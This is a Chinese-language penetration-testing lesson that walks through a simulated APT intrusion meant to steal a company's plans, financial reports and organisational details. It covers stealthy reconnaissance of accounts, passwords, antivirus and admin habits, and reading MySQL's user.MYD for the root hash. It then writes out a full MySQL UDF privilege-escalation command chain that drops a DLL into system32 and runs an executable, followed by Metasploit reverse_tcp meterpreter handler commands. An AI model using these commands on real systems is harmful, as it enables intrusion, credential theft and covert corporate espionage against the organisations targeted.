模拟诉求任务攻击

模拟任务：

拿到该公司明年计划，拿到该公司今年报表，并且摸清该公司组织架构。盈利情况。

1、主站 Shell

第一个shell为目标主站shell，为08 R2，提权后遂改变主意。由于是以APT为主，并不打算以主站权限为点渗透，动作太大。不利于长期跟踪。改变为搜集情报为主。配合下一步工作。

第八课：模拟诉求任务攻击 - 图1

主站为2008 R2:

主站端口为:

2、信息搜集

搜集端口为该公司的其他分站提供下一步探测。

  • 账户搜集：（已处理）
    第八课：模拟诉求任务攻击 - 图4

  • 重要路径搜集：
    （无图，路径搜集为未来可能需要dump file做准备）

  • 数据库密码搜集：
    （无图，密码搜集为未来可能需要碰撞做准备）

  • 杀毒软件搜集： 强力的麦咖啡

  • 管理员习惯搜集：
    （无图，尽量避免与admin的fvsf）（面对面的vs是不是这么拼写？）

  • 其他搜集：
    （由于是第一个shell，具体的已经忘记了）

3、第二台服务器权限

第二台服务器权限：window x86 2003

根据上一台的服务器情报搜集很快得到了一台win03
第八课：模拟诉求任务攻击 - 图5

  • IP .3
    第八课：模拟诉求任务攻击 - 图7

为一台开发机。目标仅支持 asp，无其他脚本支持。但是服务器中安装有 mysql，php 等。并且无 asp to mysql Device Drive IIS 配置中也并不支持 php。msf 反弹后，继续搜集情报。

  1. type C:\MySQL\MySQL Server 5.0\data\mysql\user.MYD

得到 root hash

在实际情况中，交互的shell下运行 mysql -uroot -pxxx 无法继续交互，需要参数 e 解决这个问题。

  1. mysql -uroot -pxxxxxxxx mysql -e "create table a (cmd LONGBLOB);"
  2. mysql -uroot -pxxxxxxxx mysql -e "insert into a (cmd) values (hex(load_file('C:\\xxxx\\xxxx.dll')));"
  3. mysql -uroot -pxxxxxxxx mysql -e "SELECT unhex(cmd) FROM a INTO DUMPFILE
  4.  'c:\\windows\\system32\\xxxx.dll';"
  5. mysql -uroot -pxxxxxxxx mysql -e "CREATE FUNCTION shell RETURNS STRING SONAME 'udf.dll'"
  6. mysql -uroot -pxxxxxxxx mysql -e "select shell('cmd','C:\\xxxx\\xxx\\xxxxx.exe');"

第八课：模拟诉求任务攻击 - 图8

如果限制上传大小同样可以hex解决上传大小问题。

4、msf 操作实例

以下为部分msf操作实例

  1. msf > use exploit/multi/handler
  2. msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
  3. msf exploit(handler) > exploit -l
  4. meterpreter > ps
